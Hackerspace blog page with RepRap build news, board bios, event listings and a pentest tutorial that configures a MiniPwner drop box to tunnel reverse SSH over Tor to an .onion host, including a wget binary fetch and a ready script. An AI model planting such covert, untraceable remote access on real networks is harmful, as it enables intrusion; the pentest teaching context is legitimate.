We finished off the build day testing our stepper motors using the application pronterface, and unfortunately found that some of the stepper motor controllers made by Pololu simply were not working, however that did not stop us from using some spares we had in the interim to test and verify that our entire project was working!

Our next steps will be to RMA these controllers, and begin the tasks of calibrating and tuning our new Rep-Rap. We intend to have additional build days to expose as many people as possible to this very awesome technology, and host open print days so that the public has more opportunity to be inspired by the wonder of open source projects such as the Prusa Mendel Rep-Rap.

We at NESIT are enormously grateful to all of the sponsors and donors that funded this project and made it possible for us to host. Thank you all!

President: William Genovese

Will is a founding member, the previous years president, and was NESITS Vice President the year prior. This past year Will guided our organization though a series of Board shake ups and changes that put the right people in the right jobs. This year Will has our organization on track for rapid growth and expansion both in our membership and in our ability to meet our mission.

Vice President: William Reyor

William is a founding member, and has previously held the offices of President, and Executive Treasurer. This coming year William will be looking to increase our membership numbers by an order of magnitude. William will do this by organizing, and providing a constant stream of events, workshops, and educational classes both for our membership and for the general public.

Second Vice: Andrew Peterson

Andrew is an original member, and has previously held the office of Vice president. As second vice Andrew’s focus will be in organizing and improving our physical space by organizing builds, and fundraisers to garner equipment that helps NESIT meet its mission of helping members, and members of the public to create, educate, and foster learning in technology.

Secretary: Greg McGuire

Greg is a NESIT member and has previously held the office of secretary. We all think Greg’s done a fantastic job with the position, and have re-appointed him to the secretary position this year. This year Greg’s primary focus will be developing policy and procedure that will help our organization become better organized and guide our Board to make better informed and more intelligent decisions.

Treasurer: Devin Schleidt

Devin is a member of NESIT and bring with him a deep knowledge and expertise in managing finance. Devin currently is a financial analyst for Pratt & Whitney, has successfully owned and operated his own company, and has created a number of patents for intellectual property which he has brought market.

Board members at large:

Chris Bergeron: Chris is a founding member of NESIT, and has previously served as NESITs treasurer. Chris currently owns and operates his own software company Trak Systems of Avon.

Jonathan Hardy: Jonathan is a member NESIT and has previously served as NESIT’s Executive Director. Jonathan brings with him years of experience in circuit design, amateur radio, and NRA safety instruction. Jonathan will be our board designee for safety training and certification on power equipment

Tom Barber: Tom is a NESIT member, and has expertise in desktop support, programming, and Arduino project design. Tom has previously acted to support various NESIT projects including the flooring and design of our physical space, and MAME cabinet design.

Juan Carlos Ruiz: Juan is a NESIT member and has previously been instrumental in helping NESIT meet its mission by assisting with many of our projects, and developing ideas to continuously improve our infrastructure.

Join us April 28th in Westport for Connecticut’s first ever Maker Faire from 10AM to 4PM at

We will be presenting and demoing various Arduino, PC, and Rep-Rap based projects including:

• DiY Arduino based RFID controller & auto-tweeting access control system
• DiY Arduino controlled Pulse width modulated LED  Dazzler (of DoD fame see: http://en.wikipedia.org/wiki/LED_Incapacitator) Live code changes will be permitted by attendees!.
• DiY Stepper motor controls driven by arduino
• Complete instruction and demo on building Submerged PC’s (as in completely suspended in liquid)
• Demo of the EggBot (A stepper motor driven drawing device for eggs!)
• A complete demo of a working Rep-Rap!

For additional details please see: http://www.westportmakerfaire.org/about/

We hope to see you there!

When: Wednesday May 23rd 7pm
Where: NESIT 290 Pratt St Meriden
What: Part of our Whitehat Wednesday series , join illwill as he teaches a course on some incognito techniques to infiltrate a target uses unorthodox devices to gain access during a pentest, using off the shelf electronics converted to subvert the network and physical security.

Tools demonstrated will be: Teensy USB HIS Device a.k.a. phukd, wireless keylogger, Minipwner drop box, FON Jasager router, Android apps, Lockpicks, and more. The class is free and open to the public, donations would gladly be accepted and will help support running NESIT.

Sign up on Facebook Event Page or MeetUp

The fun starts saturday at Noon and will run the duration of the weekend until we have a working Rep-Rap!

The version we’re building is the 3MM hot end Prusa Mendel and is based around the following:

- RAMPS 1.4 electronics Kit including an Arduino Mega 2560
- 1.8 degree NEMA 17 Stepper Motors
- Stainless Steel M8 Threaded Rods
- Precision-Ground and Polished 8mm Steel Linear Shafting
- Precision, Self-Aligning, Press-Fit 8mm Bronze Bearings
- High Quality ABS Printed Parts (Vertexes, X Carriage Mounts, Z Mounts, Clamps, etc.)
- Laser Cut Y-Carriage
- Machined Z-axis Couplers
- Stepper Plastruder Kit (either for 1.75 or 3mm filament)
- Filament Drive and Hot-End Kit
- 8 x 8 Heated Build Surface PCB
- 12V ATX Power Supply
- XL Pulleys and XL Belt

We hope to see you there!

For more information and to collaborate with the build team see our Facebook group @ https://www.facebook.com/groups/nesit/

• Atheros 400MHz MIPS CPU
• 32MB RAM
• 4MB flash
• 10/100Mbps Ethernet interface
• 802.11b/g/n wireless interface with one internal antenna
• USB 2.0 port
• Micro-USB power socket, approximately 1W power draw
• 5.7cm x 5.7cm x 1.8cm dimensions
• Nmap network scanner
• Tcpdump sniffer
• Netcat Hacker’s swiss army knife
• aircrack Wireless network analysis
• kismet Wireless network analysis
• perl Perl Scripting Language
• openvpn VPN Client and Server
• dsniff suite of sniffing and spoofing tools, including arpspoof
• nbtscan NetBIOS Network Scanner
• snort Sniffer, Packet Logger, Intrusion Detection System
• karma Wireless Sniffing Tool
• samba2-client Windows File Sharing Client
• elinks Text Based Web Browser
• yafc FTP Client
• openssh-sftp-client Secure File Transfer Client

So after doing the initial install of open-wrt firmware and configurations for the other applications I came across an awesome article on SecurityGeneration.com which described some james bond type shit of having your pwnie express connect back to you over tor so you would essentially be untraceable. Instead of having it connect back through ssh to your IP address you would be connecting back to a tor *.onion address. But since I dont have a pwnplug the only problem that lied ahead was to convert the instructions to work on this minipwner box. Now im not an expert on getting this shit configured properly so i relied on some help from friends and general guessing to get it up and running, so your mileage may vary.

I’m not going to rehash getting minipwner onto the tp-link here, so i’ll pick up where his article left off. And im not going to rehash getting your tor hidden server running, follow step 1. on SecurityGeneration’s article if you need to figure it out.

First thing I did was get tor installed on the USB drive (which should already be setup with the original instructions on the minipwner site)

opkg -dest usb install tor-geoip

then symlink it

ln -s /mnt/usb/usr/share/tor /root/.tor

edit the tor config file

vi /etc/tor/torrc

Scroll to the bottom and change User tor to User root
next find DataDirectory /var/lib/tor and change it to /mnt/usb/usr/share/tor/lib then save the config file. This changes the logging to the USB drive, otherwise tor will start and start writing to the minipwners flash memory and soon it’ll be full. You should be able to start tor with no errors by typing tor. as long as it work you might wanna have tor start when the minipwner powers up.

add tor to default run level (startup):

cd /etc/rc.d
ln -s ../init.d/tor S99tor

Now the hardest part of the instructions was to wget connect.c and compile it. By default open-wrt doesn’t have anything to compile programs in their repository, so it’s a clusterfuck because you need to do to cross-compile connect.c for the minipwners MIPS architecture on another box using the toolchain shit , then send it over to you minipwner and pray that it works. Luckily I already went though this and have binary ::here::. I’ll write more about doing this at a later time. So, all’s you need to do is:

wget http://nesit.org/files/connect
mkdir /usr/local/
mkdir /usr/local/bin/
mv connect /usr/local/bin/connect
chmod 755 /usr/local/bin/connect
chown root.root /usr/local/bin/connect

Now we need to get open-ssh on the minipwner:

opkg -dest usb install openssh-client-utils

Then we need to edit the ssh config file

vi /etc/ssh/ssh_config

add these 2 line to the bottom and save the config:

Host *.onion
ProxyCommand /usr/local/bin/connect -S localhost:9050 %h %p

Then I made a simple script to automate it to connect back to your hidden tor server
just change the blablablabla.onion to your .onion address and the ssh_user to your username

vi reversessh.sh

#!/bin/sh
Rec_Port=22
Remote_Tor=blablablabla.onion
SSH_user=anonymous
SSH_key=”/root/.ssh/id_rsa”
/mnt/usb/usr/bin/ssh -NR 3330:localhost:22 -i “$SSH_key” “$SSH_user”@”$Remote_Tor” -p “$Rec_Port”; \

then save and chmod

chmod 0755 reversessh.sh

If all goes well you should be able to

./reversessh.sh

and on your tor hidden server you can just run watch “netstat -lntup” you should see:

tcp 0 0 127.0.0.1:3330 0.0.0.0:* LISTEN 15007/sshd: anonymous

You should be able to

ssh root@localhost -p 3330

you should be connected to your minipwner over tor

If anyone has anything to add/fix to this please hit me up illwill at illmob.org. Thnx to |m| & inhibit for help on getting this working.

Join us this Thursday at 7:30 to discuss the awesome goings on for the rest of the month.

Highlights include:

- Active public Rep-Rap Build
- Active Arduino and PIC projects
- Wet bar developments
- InfoSec topics such as MS12-020
- CT Science centers liquid lounge
- Many other awesome things

Facebook Event Page

Tonight we’ll be changing focus slightly to focus on some Arduino based projects. If you’re working on a a current project and could use some help or just want to learn more stop down you’re sure to learn something.